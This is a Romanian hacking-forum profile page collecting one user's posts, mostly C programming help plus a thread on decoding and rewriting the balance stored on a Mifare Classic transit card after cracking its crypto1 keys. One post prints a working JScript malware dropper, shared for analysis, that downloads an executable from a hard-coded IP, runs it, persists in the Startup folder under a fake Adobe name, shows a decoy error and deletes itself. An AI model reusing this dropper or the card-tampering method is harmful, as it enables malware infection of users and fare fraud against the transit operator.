Jump to content

3t3r4n

Members
  • Posts

    24
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by 3t3r4n

  1. Calm te rog, eu i-am dat un mic exemplu pentru ca daca a cerut ajutorul clar nu stie prea multe. int *a=new int[8]; int size=sizeof(a)/sizeof(*a); Ce valoare va contine size? 8? nope .. 1 Am folosit ca parametru size pentru ca oricum trebuia sa aloce dinamic vectorul.
  2. Un mic exemplu: #include <stdio.h> int minim(int *vector, int size){ int minim=vector[0]; for(int i=0;i<size;i++){ if(minim>vector[i]) minim=vector[i]; } return minim; } int main() { int a[10]={9,8,7,6,5,4,3,2,-31,3}; printf("%d",minim(a,10)); return 0; }
  3. 3t3r4n

    SCRIPT PHP

    Ti-l fac eu intr-o ora cand ajung acasa.
  4. Salut, nu inteleg de ce daca accesez in browser de pe acelasi PC o poza mi-o arata fara probleme iar daca incerc de pe alt PC din aceeasi retea nu se trimite tot fisierul si imi da eroare in browser ca fisier corupt. Fisierele html nu au probleme .. se intampla doar la imagini. if((extension=="png" or extension=="jpg" or extension=="gif") and pFile != NULL){ fclose (pFile); ifstream f(start_directory.append(uri).c_str(), ios::in|ios::binary|ios::ate); if(f.is_open()){ streampos size = f.tellg(); char* image = new char [size]; f.seekg (0, ios::beg); f.read (image, size); f.close(); header ="HTTP/1.0 200 OK\r\nExpires: 0\r\nPragma: no-cache\r\nPragma-directive: no-cache\r\nCache-control: no-cache\r\nCache-directive: no-cache\r\nContent-Type: image/"+extension+"\r\nServer: idev v0.05.8\r\n\r\n"; socket->sendStream(header.c_str(),header.size()); socket->sendStream(image,size); delete image; }else{ header="HTTP/1.0 401 Not Found\r\nConnection: close\r\n\r\n<h1>Bad Request (Invalid URL)</h1>"; socket->sendStream(header.c_str(),header.size()); } } EDIT: Cred ca problema e din fisierul Socket .. am schimbat cu mongoose si acelasi cod functioneaza cum trebuie
  5. Nu le-am gasit .. dar am mai descoperit cate ceva intre timp 80 00 - credit 00 30 - folosiri 0E 59 - hash 80 00 00 40 92 1C 89 60 00 10 62 23 poate va dati voi seama cum genereaza hash-ul ..
  6. Codul de la mfcuk e outdated .. Si sunt detalii doar generale pe acolo
  7. Nu poti sa schimbi uid cardului .. decat daca cumperi niste carduri speciale .. care sunt albe deci nu are rost
  8. Si la mine se schimba dar aceia sunt ceva gen history
  9. Se pare ca ultima valoare era gresita si nu era 1.5lei era 0 lei. Valoarea care o ai pe card pentru 4.5lei este (0x00, 0x8e, 0x10) 0x008e10 din care se scade 0x008000 = 0xe10 valoare pe care o impartim la 8 = 0x1c2 = 450 Dar ultimii 2 biti din block se schimba si probabil sunt un checksum Nu stiu daca ma credeti dar am visat asta
  10. Da, folosesc mifare clasic 1k
  11. Daca am reusit sa citesc cardul inseamna ca nu sunt asa prost Cu un ACR122U
  12. M-am referit la valoarea soldului ca nu e stocata ca un int sau float .. nu stiu formatul cum e cryptat Daca nu stiam cheile nu aveam cum sa citesc informatia dupa card.
  13. Exact sunt cryptate si parolate dar deoarece crypto1 a fost spart am putut recupera toate cele 32 de key cu un exploit pe sectorul 0 ... problema e cryptarea valorilor acum
  14. Nu doar valoarea aceea ... am reacris-o pe toata cu valorile initiale (imi era mai simplu) iar banuielile mi-au fost confirmate .. acum nu stiu daca vor vedea vre-o anomalie si sa imi blocheze cartela .. va tin la curent Vreau sa spun ca toate datele sensibile se pastreaza pe card iar cand validezi se modifica valoarea soldului(pe card) si se adauga un fel de history validation. Daca validezi pe alt terminal iti verifica history-ul si stie ca ai validat deja
  15. Nu .. aparatele de taxat nu au conexiune la internet ... daca te uiti pe siteul ratb la incarcare online ai sa vezi ca dureaza 24 de ore sa transfere informatia la aparate ca tu ai reincarcat online (spun ei la ora 12am) si la prima validare iti incarca cardul iar suma este stocata pe card, spun din proprie experienta Iar valorile care le-am postat sunt singurele care difera intre cele 3 carduri cu sume diferite (difera si cheile de securitate mai putin keyA si keyB pentru primele 2 block-uri) Nu va ganditi ca fac prosti dar e provocator sa le modific dar mam impotmolit aici
  16. 3t3r4n

    js exploit

    E din Rusia IP-ul si oricum nu raspunde la ping ..
  17. {0x8e, 0x10} 4.5lei {0x89, 0x60} 3.0lei {0x80, 0x00} 0lei Cum e encodat? Luati-o ca pe o provocare dar sa imi spuneti si mie dupa
  18. 3t3r4n

    js exploit

    Pe scurt downloadeaza un fisier executabil, il ruleaza si il sterge impreuna cu fisierul js var ActXN = this["ActiveXObject"] var WSSS12 = this["WScript"]; var WshShell = WSSS12["CreateObject"}("WScript.Shell"); var pre_period = new ActXN("Scripting.FileSystemObject"); var pre_August = new ActXN("ADODB.Stream"); var pre_Greene4 = new ActXN("Shell.Application"); var temp12 = WshShell["ExpandEnvironmentStrings"]("%TEMP%"); /** String["fromCharCode"](92)=>"/" */ var filepath = temp12 + String["fromCharCode"](92) + Math["floor"](Math["random"]() * 100 + 1) + ".exe" var xhr12 = new ActXN("Msxml2.ServerXMLHTTP"); var pre_house2 = String["fromCharCode"](92) + "adobe_update.js"; var startupFolder = pre_Greene4["NameSpace"](3 + 2 + 2); var pre_scurrilous = false; var pre_originally10 = false; var tone = 1; var pre_being4 = 0; var icount = 0; var mz12 = "MZ"; var empty12 = ""; var pre_parts4 = WSSS12["ScriptFullName"]; var pre_April = startupFolder.Self.Path + pre_house2; var uidhere = pre_April; var url12 = "https://185.130.104.167/TALL/q64.php?add=gyu79jhuijkomnblopqwecyh7091hh"{ if (pre_parts4 != pre_April && pre_scurrilous == false) { pre_scurrilous = true; pre_period["DeleteFile"](pre_parts4); WSSS12["echo"]("The document is corupted and cannot be opened") WSSS12["Sleep"](5E3); } icount = 0; for (;icount < uidhere["length"];icount++) { /** @type {number} */ pre_being4 = (pre_being4 << 5) - pre_being4 + uidhere["charCodeAt"](icount) & 4294967295; } for (;true;) { tone = tone + 1; if (tone == 3E8) { for (;true;) { try { xhr12["setOption"](3, "MSXML"); xhr12["open"]("GET", url12 + "&" + Math["floor"](Math["random"]() * 200 + 1) + "&uid=" + Math["abs"](pre_being4), false); xhr12["send"](); if (xhr12["status"] == 200) { icount = 0; if (pre_period["FileExists"](filepath)) { pre_period["DeleteFile"](filepath); } pre_August["Open"](); pre_August["Type"] = 1; pre_August["Write"](xhr12["responseBody"]); icount = pre_August["Size"]; empty12 = xhr12["responseText"]; empty12 = empty12["substring"](0, 2); pre_August["position"] = 0; pre_August["SaveToFile"](filepath); pre_August["Close"](); if (pre_period["FileExists"](filepath) && (icount > 500 && empty12 == mz12)) { pre_originally10 = true; WshShell["Exec"](filepath); if (pre_period["FileExists"](WSSS12["ScriptFullName"])) { pre_period["DeleteFile"](WSSS12["ScriptFullName"]); } WSSS12["Sleep"](5E3); if (pre_period["FileExists"](filepath)) { pre_period["DeleteFile"](filepath); } break; } } } catch (e$$12) { } if (pre_originally10 == true) { break; } WSSS12["Sleep"](1E4 * 7); } break; } }
  19. haha am facut si eu asta acum 4 ani dar nu l-am folosit la olimpiada
×
×
  • Create New...